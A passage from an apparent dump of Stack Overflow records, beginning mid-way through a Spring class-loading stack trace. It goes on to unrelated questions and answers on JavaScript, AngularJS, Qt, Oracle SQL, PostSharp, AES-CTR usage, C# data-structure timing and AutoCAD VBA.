org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1549) at java.util.concurrent.FutureTask.run(FutureTask.java:262) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:744) Caused by: java.lang.NoClassDefFoundError: org/springframework/aop/framework/AbstractAdvisingBeanPostProcessor at java.lang.ClassLoader.defineClass1(Native Method) at java.lang.ClassLoader.defineClass(ClassLoader.java:800) at java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142) at org.apache.catalina.loader.WebappClassLoader.findClassInternal(WebappClassLoader.java:2944) at org.apache.catalina.loader.WebappClassLoader.findClass(WebappClassLoader.java:1208) at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1688) at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1569) at org.springframework.util.ClassUtils.forName(ClassUtils.java:255) at org.springframework.beans.factory.support.AbstractBeanDefinition.resolveBeanClass(AbstractBeanDefinition.java:416) at org.springframework.beans.factory.support.AbstractBeanFactory.doResolveBeanClass(AbstractBeanFactory.java:1302) at org.springframework.beans.factory.support.AbstractBeanFactory.resolveBeanClass(AbstractBeanFactory.java:1273) ... 19 more Caused by: java.lang.ClassNotFoundException: org.springframework.aop.framework.AbstractAdvisingBeanPostProcessor at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1718) at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1569) ... 30 more </code></pre> <p>Can someone tell what problem is this, is it because of some version conflict?</p>
22592262	0	 <p>Try this</p> <pre><code>var formfields = {step: $(this).data('step')}; $(this).parent().parent().parent().find('input').each(function () { formfields[$(this).prop('name')] = $(this).val(); }); console.log(formfields); </code></pre>
15019945	0	How many calls to generator are made? <p>Suppose I have the following algorithm:</p> <pre><code>procedure(n) if n == 1 then break R = generaterandom() procedure(n/2) </code></pre> <p>Now I understand that the complexity of this algorithm is <code>log(n)</code> but does it make <code>log(n)</code> calls to the random generator or <code>log(n)-1</code> since it is not called for the call when <code>n==1</code>.</p> <p>Sorry if this is obvious, but i've been looking around and its not really stated anywhere what the exact answer is.</p>
11312907	0	 <p>I managed to fix this. There was two problems I found.</p> <ul> <li>Media Foundation was not initialized</li> </ul> <p><code>MFStartup(MF_VERSION);</code> needs to be called before Media Foundation can be used. I added this code just before creating the media engine.</p> <ul> <li>Referencing a pointer. </li> </ul> <p>Line <code>m_pickFileTask.then([&amp;player](StorageFile^ fileHandle)</code> should be <code>m_pickFileTask.then([player](StorageFile^ fileHandle)</code>. <code>This</code> is already a pointer to the current class, and <code>&amp;</code> provides the address of variable, so I was actually passing the pointer's pointer.</p>
31606032	0	 <p>For this kind of requirement <code>QT</code> has <a href="http://doc.qt.io/qt-4.8/signalsandslots.html" rel="nofollow">Signal and Slots</a>. You have a <code>Signal</code> which will be emitted and consumed by assigned <code>SLOT</code> method. </p> <p>As you want to read Serial Data you should have Signal <code>readyRead</code> and connected to Slot which is done as below:</p> <pre><code>YourClass :: YourClass(QObject* parent): QObject(parent) { connect(serial, SIGNAL(readyRead()),this,SLOT(myReceivedData())); } </code></pre> <p>As this code in your Class <code>Constructor</code>.</p> <p>Implement this method as below:</p> <pre><code>void YourClass :: myReceivedData() { QByteArray readData= serial-&gt;readAll(); qDebug() &lt;&lt; readCurData; // Here I am printing the received Serial Data } </code></pre>
34971930	0	 <p>I would keep that logic out of the HTML and in your controller if possible and add another function to set a new value in your view (either num1 * num2 or "Please enter a number"). </p> <pre><code>$scope.isFinite = function(num1, num2) { //Your logic for this function } $scope.checkFinite() { $scope.answer = null; if($scope.isFinite($scope.num1, $scope.num2)) { $scope.answer = $scope.num1 * $scope.num2; }; else { $scope.answer = "Please enter a number" }; } </code></pre> <p>Then update your html as so: <code>&lt;p&gt;Your total value is {{answer}} &lt;/p&gt;</code></p> <p>You will need to run $scope.checkFinite() when your input changes, there are a couple of ways you can do that:</p> <pre><code>&lt;div ng-app = ""&gt; &lt;p&gt;Enter variable 1: &lt;input type = "number" ng-change="checkFinite()" ng-model = "var1"&gt;&lt;/p&gt; &lt;p&gt;Enter variable 2: &lt;input type ="number" ng-change="checkFinite()" ng-model ="var2"&gt;&lt;/p&gt; </code></pre> <p>Basically, if the values change in the inputs, it will run $scope.checkFinite(), its a nifty little directive in Angular.</p> <p>Another way you can do this, where you run the function ($scope.checkFinite()) when either inputs change is through a couple of watches in your controller:</p> <pre><code>$scope.$watch('num1', function() { $scope.checkFinite(); }); $scope.$watch('num2', function() { $scope.checkFinite(); }); </code></pre> <p>Let me know if you have any other questions!</p> <p>PS Don't go crazy with $scope.$watch, it's easy to fall into that trap.</p>
40944208	0	 <p>Set LayoutParams as FILL_PARENT in both width and height</p> <pre><code> public void onClick(View view) { //getSupportActionBar().hide();if you need hidden actionbar also view.setLayoutParams(new LinearLayout.LayoutParams(LayoutParams.FILL_PARENT,LayoutParams.FILL_PARENT)); } </code></pre>
15787471	0	Delphi host for JavaFX applets <p>I have created a NPAPI host for JavaFX applets in Delphi 2010. The host uses a private JRE to show the applet. With Java 7 Update 10 it is possible to disable Java content in the browser. I do not want this setting to disable the plugins in my host. Is it possible to override the deployment properties for my private JRE?</p>
27144000	0	 <p>The <code>DATATYPE</code> are different in <code>Oracle</code>. </p> <p>Also, <code>auto_increment</code> is not in <code>Oracle</code>. In <code>11g</code> and prior, create a <code>SEQUENCE</code> to populate the ID column, in <code>12c</code>, use <code>IDENTITY COLUMNS</code>.</p> <pre><code>SQL&gt; DROP TABLE metadata PURGE; Table dropped. SQL&gt; SQL&gt; CREATE TABLE MetaData 2 ( 3 ID NUMBER NOT NULL, 4 metaDataId VARCHAR2(255) NOT NULL, 5 parentId number NOT NULL, 6 locked number, 7 userId number NOT NULL, 8 CONSTRAINT p_id PRIMARY KEY (id), 9 CONSTRAINT u_metadataid UNIQUE (metaDataId) 10 ); Table created. SQL&gt; </code></pre> <p>For the <code>auto_increment</code> of ID, in <code>Oracle 10g</code>, you need to create a <code>sequence</code>.</p> <p>In <code>12c</code>, you can have an <code>IDENTITY COLUMN</code>.</p>
3339907	0	Why doesn't lint tell me the line number and nature of the parse error? <p>I'm calling php lint from a Windows batch file, like so:</p> <pre><code>@echo off for %%f in (*.php) do php -l %%f </code></pre> <p>When a file contains a syntax error, it only outputs <code>Errors parsing xxx.php</code>. Is there any way to get it to tell me what the nature of the error is, and what line it's on? Maybe another switch?</p>
21121401	0	 <p>You probably have some relations between tables through these fields, as @Wrikken said in comments to your question. I've used a pretty similar table structure, and also added one more table to reproduce the assumption I'm talking about:</p> <blockquote> <p>-- First table, similar to problem table</p> <p>CREATE TABLE <code>bars</code> ( <code>id</code> int(11), <code>list</code> text, <code>bar</code> varchar(255), PRIMARY KEY (<code>id</code>) );</p> <p>INSERT INTO <code>bars</code> (<code>id</code>, <code>list</code>, <code>bar</code>) VALUES (1, '["1","2","3","4"]', 'TEST');</p> <p>-- Second table, to reproduce the assumtion</p> <p>CREATE TABLE <code>foos</code> ( <code>id</code> int(11), <code>foo</code> varchar(255), PRIMARY KEY (<code>id</code>) );</p> <p>INSERT INTO <code>foos</code> (<code>id</code>, <code>foo</code>) VALUES (1, 'foo1'), (2, 'foo2'), (3, 'foo3'), (4, 'foo4'), (5, 'foo5'), (6, 'foo6');</p> </blockquote> <p>From scratch everything works fine as expected, i can edit TEXT field as text:</p> <p><img src="https://i.stack.imgur.com/JOSTO.png" alt="enter image description here"></p> <p>To reproduce 'dropdown' effect I've opened a problem <code>bars</code> table (with TEXT field) relations:</p> <p><img src="https://i.stack.imgur.com/hhNz8.png" alt="enter image description here"></p> <p>and have added a reference to <code>foos</code>, a table with possible ids, that are stored in <code>list</code> TEXT field as array:</p> <p><img src="https://i.stack.imgur.com/5CIlL.png" alt="enter image description here"></p> <p>Now when editing a record i have a dropdown instead of textarea for TEXT <code>list</code> field</p> <p><img src="https://i.stack.imgur.com/P5Geo.png" alt="enter image description here"></p> <p>So, try to check whether you have your TEXT field involved in any relations</p> <p><em>sorry, no rep to comment yet, so giving a complete answer that may not be a solution at all</em></p>
3529399	0	 <p>The solution for that problem seems to be this: you have to call the <code>[player stop]</code> before releasing it. It appears a little strange since I'm already receiving a notification about the player finished playing. Doing so the memory gets deallocated (only a small amount remains , ~100Kb from CoreMedia, but I believe is it normal</p>
39148051	0	 <p>These could be the reason behind "Invalid record error" - </p> <pre><code>Reason - It usually happens when you use "create" and "build" together. create method persists the instance while the build method keeps it only in memory. </code></pre> <p>Firstly, I will suggest you to use build method and please check validations related to it. There is something wrong in your validations.</p>
32199606	0	 <p>If the user of the app write the html tags, the app should store them.</p> <p>So as you suggest yourself, you will have to store the string before calling <code>Html.fromHtml</code>.</p>
10517964	0	local variable scope in linq anonymous method ( closure) <p>What is the scope of local variable declared in Linq Query.</p> <p>I was writing following code</p> <pre><code> static void Evaluate() { var listNumbers = Enumerable.Range(1, 10).Select(i =&gt; i); int i = 10; } </code></pre> <p>Compiler flagged error on line int i=10, stating </p> <pre><code>A local variable named 'i' cannot be declared in this scope because it would give a different meaning to 'i', which is already used in a 'child' scope to denote something else </code></pre> <p>I am unable to understand why this error is coming.</p> <p>My understanding was that <code>i</code> will become out of scope after first line (in foreach loop). So <code>i</code> can be declared again. </p> <p>Actual behavior is that <code>i</code> cannot be accessed after first line (in foreach loop), which is correct. But <code>i</code> cannot be declared again. This seems strange.</p> <p>EDIT This is a following question based on response by Andras. The answer is very good, but causes further doubts.</p> <pre><code> static void Evaluate3() { var listNumbers = Enumerable.Range(1, 10).Select(i =&gt; i); var listNumbers1 = Enumerable.Range(1, 10).Select(i =&gt; i); } </code></pre> <p>Based on the logic of function Evaluate that .Select(i=>i), and int i=10, both i, are local to function block and hence complication error.</p> <p>Function Evaluate3 should not compile as well as there are two i in the method block, but it is compiling successfully without any warning/error. </p> <p>Question, Either both Evaluate and Evaluate3 should not compile, or both should compile.</p>
25420017	0	 <p>The style you described is not common partially because of the issues you mentioned. If your trying to achieve a functional style, you would be better off just using functions with type aliases.</p> <pre><code>// Alias the function type to a meaningful name type FetchFeed = String =&gt; List[Feed] // Declaring an implementation val fetchFeed: FetchFeed = url =&gt; ... // Nice type name to work with class MyWork(fetchFeed: FetchFeed) // Declaring a mock is still easy new MyWork(_ =&gt; List(new Feed)) </code></pre>
38520501	0	 <p><code>var ifExist = YourList.Any(lambda expression)</code> checking if <code>YourList&lt;T&gt;</code> contains object whitch fulifill lambda expression . It's only return <code>true</code> or <code>false</code>. If you want to have list of objects you should use <code>var YourNewList = YourList.Where(lambda expression).ToList()</code>.</p>
18180292	0	Bootstrap 3 RC1: Column Ordering <p>I have two primary boxes: an 8-col wide box with a bunch of panels and a second, 4-col (offset-1) to the right as a sidebar.</p> <p>I want to push the sidebar on top of the box o' sidebars on small screens. I've tried applying <code>col-12 col-push-12</code> (panel box) and <code>col-12 col-pull-12</code> (sidebar box) without any luck. I also want to ensure the sidebar is "centered" (i.e. as if it was col-offset-4 col-4) on the grid when it's pushed up top as well.</p> <p>I've also noticed some movement (open issues) on the Bootstrap repo over at GitHub regarding some of this behaviour, but I might just be conflating things.</p> <pre><code>&lt;div class="container content"&gt; &lt;div class="row"&gt; &lt;div class="col-lg-8 col-12"&gt; &lt;div class="panel listing"&gt; ... &lt;/div&gt; &lt;/div&gt; &lt;div class="col-sm-4 col-sm-offset-4 col-lg-3 col-lg-offset-1 col-12"&gt; &lt;div class="sidebar"&gt; ... &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>Above is the "vanilla" code as it stands right now: what do I need to do to get the sidebar above on mobile and tablet?</p> <p><strong>Update</strong>: It appears the accepted answer/implementation no longer works due to some commits (given that "RC1" isn't what I'd call an RC!) today: <a href="https://github.com/twbs/bootstrap/commits/3.0.0-wip" rel="nofollow">https://github.com/twbs/bootstrap/commits/3.0.0-wip</a></p> <p>If anyone has an updated answer I'd appreciate it.</p>
17722353	0	PostSharp: BindingException when using with Microsoft.Bcl in Windows Phone 7 project <p>Following code throws exception during compilation:</p> <pre class="lang-cs prettyprint-override"><code>[PSerializable] public class MyAspectAttribute : OnMethodBoundaryAspect { } [MyAspect] Task&lt;object&gt; Method1&lt;T&gt;() { throw new NotImplementedException(); } </code></pre> <p>I have tried to find the minimal set of action to reproduce this problem and here it is:</p> <ol> <li>Create empty Windows Phone 7.1 project</li> <li>Add Microsoft.Bcl and PostSharp NuGet packages to it</li> <li>Create simple empty aspect (like below)</li> <li>Add somewhere generic method that returns any type from System.Threading.Tasks.dll</li> </ol> <p>Full exception text:</p> <pre class="lang-none prettyprint-override"><code>Unhandled exception (3.0.31.0, 32 bit, CLR 4.5, Release): PostSharp.Sdk.CodeModel.BindingException: The type 'System.Threading.Tasks.Task`1' does not exist in the target platform. at PostSharp.Sdk.CodeModel.Binding.ReflectionBindingManager.GetReferenceAssembly(IAssemblyName assemblyName, String typeName, BindingOptions bindingOptions) at PostSharp.Sdk.CodeModel.Binding.ReflectionBindingManager.ResolveAssembly(Type type, BindingOptions bindingOptions) at PostSharp.Sdk.CodeModel.ModuleDeclaration.FindType(Type reflectionType, BindingOptions bindingOptions) at PostSharp.Sdk.CodeModel.ModuleDeclaration.FindType(Type reflectionType, BindingOptions bindingOptions) at ^XJbqCOExOmCj.^i8LBKh1N(ModuleDeclaration _0, MethodBase _1, BindingOptions _2) at PostSharp.Sdk.CodeModel.ModuleDeclaration.FindMethod(MethodBase reflectionMethod, BindingOptions bindingOptions) at ^XJbqCOExOmCj.^4IrPP9eT(Object _0, IMethod _1, Type[] _2, Type[] _3, BindingOptions _4) at PostSharp.Sdk.CodeModel.MethodDefDeclaration.^NqB3CEvX(BindingOptions _0) at ^Mzw3\.bgGgRlJ.^cCM832sT[??0](Object _0, BindingOptions _1, ^d1u4kZd5aJLe _2) at PostSharp.Sdk.CodeModel.MethodDefDeclaration.GetSystemMethod(Type[] genericTypeArguments, Type[] genericMethodArguments, BindingOptions bindingOptions) at PostSharp.Sdk.CodeModel.MethodDefDeclaration.^xHA5o+hH(Type[] _0, Type[] _1, BindingOptions _2) at PostSharp.Sdk.CodeModel.MetadataDeclaration.^UDRJYqgBJZ7t(Type[] _0, Type[] _1, BindingOptions _2) at PostSharp.Sdk.AspectWeaver.AspectWeaverInstance..ctor(AspectWeaver aspectWeaver, AspectInstanceInfo aspectInstanceInfo) at PostSharp.Sdk.AspectWeaver.AspectWeavers.MethodLevelAspectWeaverInstance..ctor(MethodLevelAspectWeaver aspectWeaver, AspectInstanceInfo aspectInstanceInfo) at ^wy1eTA/ccvw/.CreateAspectWeaverInstance(AspectInstanceInfo _0) at PostSharp.Sdk.AspectWeaver.AspectWeaverTask.^lp9i7ZhC(InstructionWriter _0, AspectInstanceInfo _1, StructuredDeclarationDictionary`1 _2) at PostSharp.Sdk.AspectWeaver.AspectWeaverTask.^Vyy/rF6E.^Qs9Uz9QP(IMetadataDeclaration _0, AspectInstanceInfo _1) at PostSharp.Sdk.AspectInfrastructure.StructuredDeclarationDictionary`1.^lNgKC+Z4(IMetadataDeclaration _0, Func`3 _1) at PostSharp.Sdk.AspectInfrastructure.StructuredDeclarationDictionary`1.^RdBVqi\.M.^8/pSq47Q(IMetadataDeclaration _0) at PostSharp.Sdk.AspectInfrastructure.StructuredDeclarationDictionary`1.^d+wOzSPF(IMetadataDeclaration _0, Func`2 _1) at PostSharp.Sdk.AspectInfrastructure.StructuredDeclarationDictionary`1.^+g+TCqVg(TypeDefDeclaration _0, Func`2 _1, Set`1 _2) at PostSharp.Sdk.AspectInfrastructure.StructuredDeclarationDictionary`1.^fJqG(Func`2 _0) at PostSharp.Sdk.AspectInfrastructure.StructuredDeclarationDictionary`1.^fJqG(Func`3 _0) at PostSharp.Sdk.AspectWeaver.AspectWeaverTask.Execute() at PostSharp.Sdk.Extensibility.Project.ExecutePhase(String phase) at PostSharp.Sdk.Extensibility.Project.Execute() at PostSharp.Hosting.PostSharpObject.ExecuteProjects() at PostSharp.Hosting.PostSharpObject.InvokeProject(ProjectInvocation projectInvocation) </code></pre>
38142733	0	 <p>Are you making multiple connection to your database without closing them? If you are you should try implementing a check to see if only one connection is up.</p> <p>To check if your database is open you can do:</p> <pre><code>if(yourConnection.isOpen()){ doSomething(); //Maybe you want to close it here, if thats the case yourConnection.close(); } </code></pre>
6778704	0	 <p>I did not try it, but you should be able to effectively emulate what is done there on the C side - decrypt each 16-byte (=128 bit) block separately, and reset the cipher between two calls.</p> <hr> <p>Please note that using CTR mode for just one block, with a zero initialization vector and counter, defeats the goal of CTR mode - <strong>it is worse than <a href="http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Electronic_codebook_.28ECB.29" rel="nofollow">ECB</a></strong>.</p> <p>If I see this right, you could try to encrypt some blocks of zeros with your C function (or the equivalent Java version) - these should come out as the same block each time. XOR this block with any ciphertext to get your plaintext back.</p> <p>This is the equivalent to a Caesar cipher on a 128-bit alphabet (e.g. the 16-byte blocks), the block cipher adds no security here to a <strong>simple 128-bit XOR cipher</strong>. Guessing one block of plaintext (or more generally, guessing 128 bits at the right positions, not necessary all in the same block) allows getting the effective key, which allows getting all the remaining plaintext blocks.</p>
35415014	0	 <p>It's impossible, whether in php or jquery.</p>
4168455	0	Why Flash Firebug doesn't work with flex 4.5? <p>Why Flash Firebug doesn't work with flex 4.5?</p> <p>UPDATE:</p> <p>Hy! I have Flex 4.5 and in the main application, in the script tag I write:</p> <pre><code>import ominds.Firebug; </code></pre> <p>I use flash player WIN 10,1,85,3 Debug enabled. I export swf as 10.1.85 version.</p> <p>And when I open the flashFirebug I get this: "No SWF files with the O-Minds package found, you should import the O-Minds package into your flash files. For more information visit: o-minds.com/products/flashfirebug"</p> <p>I appreciate any help (:</p> <p>I'm using robotlegs if this matters...</p>
23349358	0	 <p>If your target systems are managed by reasonable people, the software will be managed by the packaging system. On Redhat, Fedora, CentOS or SUSE systems that will be RPM. On any system derived from Debian it will be APT.</p> <p>So your script can check for one of those two packaging systems. Although be warned that you can install RPM on a Debian system so the mere presence of RPM doesn't tell you the system type. Packages can also be named differently. For example, SUSE will name things a bit differently from Redhat.</p> <p>So, use <code>uname</code> and/or <code>/etc/issue</code> to determine system type. Then you can look for a particular package version with <code>rpm -q apache</code> or <code>dpkg-query -s postgresql</code>.</p> <p>If the systems are managed by lunatics, the software will be hand-built and installed in /opt or /usr/local or /home/nginx and versions will be unknown. In that case good luck.</p>
25524026	0	 <p>I stumbled upon this problem after upgrading php to 5.5 and reinstalling apache.</p> <p>Finally,this fixed it, in case someone else needs it.</p> <p><code>apt-get install libapache2-mod-php5</code></p> <p>(<a href="http://serverfault.com/a/243979/239598">here's the answer</a>)</p>
10347769	0	 <p>I would strongly recommend that you look at build tools like Ant or Maven. They are defacto standard for Java projects and will help you to achieve such tasks.</p> <p>Look at this link: <a href="http://maven.apache.org/guides/getting-started/maven-in-five-minutes.html" rel="nofollow">http://maven.apache.org/guides/getting-started/maven-in-five-minutes.html</a></p> <p>It will basically take 5 minutes of your time to understand the basic principles of Maven and perhaps 30 more to know how to use a plugin to to exactly what you want. If I had known five years ago about Maven it would literally saved weeks of my time.</p>
4582120	0	 <p>An update on the last post... the code now includes a class for the list data structure. I've removed some bugs from the code. It should deliver the right results now.</p> <p>It seems that for one dimensional data structures, a list structure can actually be faster that an array. But for two dimensional structures, as in the code below, arrays are substantially faster than lists, and significantly faster than dictionaries.</p> <p>But it all depends on what you want to use the data structures for. For relatively small data sets, dictionaries and lists are often more convenient structures to use.</p> <pre><code>public interface IDataStructureTimeTestHandler { void PerformTimeTestsForDataStructures(); } public class DataStructureTimeTestHandler : IDataStructureTimeTestHandler { // Example of use: //IDataStructureTimeTestHandler iDataStructureTimeTestHandler = new DataStructureTimeTestHandler(); //iDataStructureTimeTestHandler.PerformTimeTestsForDataStructures(); private IDataStructureTimeTest[] iDataStructureTimeTests; private TimeSpan[,] testsResults; public DataStructureTimeTestHandler() { iDataStructureTimeTests = new IDataStructureTimeTest[3]; testsResults = new TimeSpan[4, 3]; } public void PerformTimeTestsForDataStructures() { iDataStructureTimeTests[0] = new ArrayTimeTest(); iDataStructureTimeTests[1] = new DictionaryTimeTest(); iDataStructureTimeTests[2] = new ListTimeTest(); for (int i = 0; i &lt; iDataStructureTimeTests.Count(); i++) { testsResults[0, i] = iDataStructureTimeTests[i].InstantiationTime(); testsResults[1, i] = iDataStructureTimeTests[i].WriteTime(); testsResults[2, i] = iDataStructureTimeTests[i].ReadTime(LoopType.For); testsResults[3, i] = iDataStructureTimeTests[i].ReadTime(LoopType.Foreach); } } } public enum LoopType { For, Foreach } public interface IDataStructureTimeTest { TimeSpan InstantiationTime(); TimeSpan WriteTime(); TimeSpan ReadTime(LoopType loopType); } public abstract class DataStructureTimeTest { protected IStopwatchType iStopwatchType; protected long numberOfElements; protected int number; protected delegate void TimeTestDelegate(); protected DataStructureTimeTest() { iStopwatchType = new StopwatchType(); numberOfElements = 10000000; } protected void TimeTestDelegateMethod(TimeTestDelegate timeTestMethod) { iStopwatchType.StartTimeTest(); timeTestMethod(); iStopwatchType.EndTimeTest(); } } public class ArrayTimeTest : DataStructureTimeTest, IDataStructureTimeTest { private int[,] integerArray; public TimeSpan InstantiationTime() { TimeTestDelegateMethod(new TimeTestDelegate(InstantiationTime_)); return iStopwatchType.TimeElapsed; } private void InstantiationTime_() { integerArray = new int[numberOfElements, 2]; } public TimeSpan WriteTime() { TimeTestDelegateMethod(new TimeTestDelegate(WriteTime_)); return iStopwatchType.TimeElapsed; } private void WriteTime_() { number = 0; for (int i = 0; i &lt; numberOfElements; i++) { integerArray[i, 0] = number; integerArray[i, 1] = number; number++; } } public TimeSpan ReadTime(LoopType dataStructureLoopType) { switch (dataStructureLoopType) { case LoopType.For: ReadTimeFor(); break; case LoopType.Foreach: ReadTimeForEach(); break; } return iStopwatchType.TimeElapsed; } private void ReadTimeFor() { TimeTestDelegateMethod(new TimeTestDelegate(ReadTimeFor_)); } private void ReadTimeFor_() { for (int i = 0; i &lt; numberOfElements; i++) { number = integerArray[i, 1]; } } private void ReadTimeForEach() { TimeTestDelegateMethod(new TimeTestDelegate(ReadTimeForEach_)); } private void ReadTimeForEach_() { foreach (int i in integerArray) { number = i; } } } public class DictionaryTimeTest : DataStructureTimeTest, IDataStructureTimeTest { private Dictionary&lt;int, int&gt; integerDictionary; public TimeSpan InstantiationTime() { TimeTestDelegateMethod(new TimeTestDelegate(InstantiationTime_)); return iStopwatchType.TimeElapsed; } private void InstantiationTime_() { integerDictionary = new Dictionary&lt;int, int&gt;(); } public TimeSpan WriteTime() { TimeTestDelegateMethod(new TimeTestDelegate(WriteTime_)); return iStopwatchType.TimeElapsed; } private void WriteTime_() { number = 0; for (int i = 0; i &lt; numberOfElements; i++) { integerDictionary.Add(number, number); number++; } } public TimeSpan ReadTime(LoopType dataStructureLoopType) { switch (dataStructureLoopType) { case LoopType.For: ReadTimeFor(); break; case LoopType.Foreach: ReadTimeForEach(); break; } return iStopwatchType.TimeElapsed; } private void ReadTimeFor() { TimeTestDelegateMethod(new TimeTestDelegate(ReadTimeFor_)); } private void ReadTimeFor_() { for (int i = 0; i &lt; numberOfElements; i++) { number = integerDictionary[i]; } } private void ReadTimeForEach() { TimeTestDelegateMethod(new TimeTestDelegate(ReadTimeForEach_)); } private void ReadTimeForEach_() { foreach (KeyValuePair&lt;int, int&gt; i in integerDictionary) { number = i.Key; number = i.Value; } } } public class ListTimeTest : DataStructureTimeTest, IDataStructureTimeTest { private List&lt;int[]&gt; integerList; public TimeSpan InstantiationTime() { TimeTestDelegateMethod(new TimeTestDelegate(InstantiationTime_)); return iStopwatchType.TimeElapsed; } private void InstantiationTime_() { integerList = new List&lt;int[]&gt;(); } public TimeSpan WriteTime() { TimeTestDelegateMethod(new TimeTestDelegate(WriteTime_)); return iStopwatchType.TimeElapsed; } private void WriteTime_() { number = 0; for (int i = 0; i &lt; numberOfElements; i++) { integerList.Add(new int[2] { number, number }); number++; } } public TimeSpan ReadTime(LoopType dataStructureLoopType) { switch (dataStructureLoopType) { case LoopType.For: ReadTimeFor(); break; case LoopType.Foreach: ReadTimeForEach(); break; } return iStopwatchType.TimeElapsed; } private void ReadTimeFor() { TimeTestDelegateMethod(new TimeTestDelegate(ReadTimeFor_)); } private void ReadTimeFor_() { for (int i = 0; i &lt; numberOfElements; i++) { number = integerList[i].ElementAt(1); } } private void ReadTimeForEach() { TimeTestDelegateMethod(new TimeTestDelegate(ReadTimeForEach_)); } private void ReadTimeForEach_() { foreach (int[] i in integerList) { number = i.ElementAt(1); } } } </code></pre>
13422354	0	 <p>Since your parameters are named differently, not too big a deal to query for each one.</p> <pre><code>string ok = string.Empty; NavigationContext.QueryString.TryGetValue("ok", out ok); string ko = string.Empty; NavigationContext.QueryString.TryGetValue("ko", out ko); </code></pre>
187904	0	 <p>If you used double quotes instead of single quotes it would work, but you'd be open to an injection attack if the variables weren't sanitized properly.</p>
12280993	0	Google Analytics event tracking - max string length <p>I am using Google Analytics for tracking events in my Android App. My question is: is there a limit for the string length in an event? I have found nothing about this topic on Googles devguide site.</p> <p>Best regards!</p> <p><strong>Edit:</strong> I tried it whith a string with 2000 characters - and it works. If you need more (I don't believe), than try it first.</p>
32542	0	 <p>The biggest one is making sure you don't put pointers into 32-bit storage locations.</p> <p>But there's no proper 'language-agnostic' answer to this question, really. You couldn't even get a particularly firm answer if you restricted yourself to something like standard 'C' or 'C++' - the size of data storage, pointers, etc, is all terribly implementation dependant.</p>
16610016	0	 <p>Try this</p> <pre><code> o = { center : { x:1, y:1 } } o.startPosition = {x:o.center.x, y:o.center.y} </code></pre>
7736699	0	Django TinyMCE issues <p>All the textareas are inline, StackedInline</p> <p>All textareas works fine in this model change_view. BUT, when I add a new row the last row is not editiable in the textarea.</p> <p>If I remove the mode:"textareas" in the tunyMCE Init, it abviasly removes the wsgi editor but then the textareas work when adding new ones. So I guess its tinyMCE that breaks it.</p> <p>But I haved copied this tinyMCE files form another project where it works. So I dont know wtf!</p> <p>I have my tinymce setup like this:</p> <p>media/js/tinymce</p> <p>then I have in templates:</p> <p>templates/admin/app_name/model_name/change_form.html</p> <p>and this is my change_form.html</p> <pre><code>{% extends "admin/change_form.html" %} {% load i18n %} {% block extrahead %}{{ block.super }} {% url 'admin:jsi18n' as jsi18nurl %} &lt;script type="text/javascript" src="{{ jsi18nurl|default:"../../../jsi18n/" }}"&gt;&lt;/script&gt; {{ media }} &lt;script type="text/javascript" src="{{ MEDIA_URL }}js/jquery-1.6.4.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="{{ MEDIA_URL }}js/tiny_mce/tiny_mce.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; function CustomFileBrowser(field_name, url, type, win) { var cmsURL = "/admin/filebrowser/browse/?pop=2"; cmsURL = cmsURL + "&amp;type=" + type; tinyMCE.activeEditor.windowManager.open({ file: cmsURL, width: 850, // Your dimensions may differ - toy around with them! height: 650, resizable: "yes", scrollbars: "yes", inline: "no", // This parameter only has an effect if you use the inlinepopups plugin! close_previous: "no", }, { window: win, input: field_name, editor_id: tinyMCE.selectedInstance.editorId, }); return false; }; tinyMCE.init({ // add these two lines for absolute urls remove_script_host : false, convert_urls : false, // General options mode : "textareas", theme : "advanced", plugins : "safari,layer,table,save,advhr,advimage,advlink,emotions,iespell,inlinepopups,insertdatetime,preview,media", file_browser_callback: 'CustomFileBrowser', // Theme options theme_advanced_buttons1 : "bold,italic,underline,strikethrough,|styleselect,formatselect,|,undo,redo,|,link,unlink,image,code", theme_advanced_buttons3 : "", theme_advanced_buttons4 : "", theme_advanced_toolbar_location : "top", theme_advanced_toolbar_align : "left", // theme_advanced_statusbar_location : "bottom", theme_advanced_resizing : false, width:300, height:300, }); &lt;/script&gt; {% endblock %} {% block object-tools %} {% if change %}{% if not is_popup %} &lt;ul class="object-tools"&gt; &lt;li&gt;&lt;a href="history/" class="historylink"&gt;{% trans "History" %}&lt;/a&gt;&lt;/li&gt; {% if has_absolute_url %} &lt;li&gt;&lt;a href="../../../r/{{ content_type_id }}/{{ object_id }}/" class="viewsitelink"&gt; {% trans "View on site" %}&lt;/a&gt; &lt;/li&gt; &lt;li&gt;&lt;a href="../../../r/{{ content_type_id }}/{{ object_id }}/html/" class="viewsitelink"&gt; {% trans "View source" %}&lt;/a&gt; &lt;/li&gt; {% endif%} &lt;/ul&gt; {% endif %}{% endif %} {% endblock %} </code></pre> <p>Even If I do this in textareas.js and include that in the chnage_form.html extrahead block it does the same.</p>
35597290	0	Invalid argument tag <p>I am doing some customization of block insertion in Autocad. When setting up the attributes, I am getting an error in my procedure:</p> <p>"Invalid argument Tag in setting TagString"</p> <p>The code is as follows:</p> <pre><code>Sub Ch10_GettingAttributes() ' Create the block Dim blockObj As AcadBlock Dim insertionPnt(0 To 2) As Double insertionPnt(0) = 0 insertionPnt(1) = 0 insertionPnt(2) = 0 Set blockObj = ThisDrawing.Blocks.Add _ (insertionPnt, "TESTBLOCK") ' Define the attribute definition Dim attributeObj As AcadAttribute Dim height As Double Dim mode As Long Dim prompt As String Dim insertionPoint(0 To 2) As Double Dim tag As String Dim value As String height = 1# mode = acAttributeModeVerify prompt = "Attribute Prompt" insertionPoint(0) = 5 insertionPoint(1) = 5 insertionPoint(2) = 0 tag = "Attribute Tag" value = "Attribute Value" ' Create the attribute definition object on the block Set attributeObj = blockObj.AddAttribute(height, mode,_ prompt, insertionPoint, tag, value) End Sub </code></pre> <p>What would cause this error?</p>
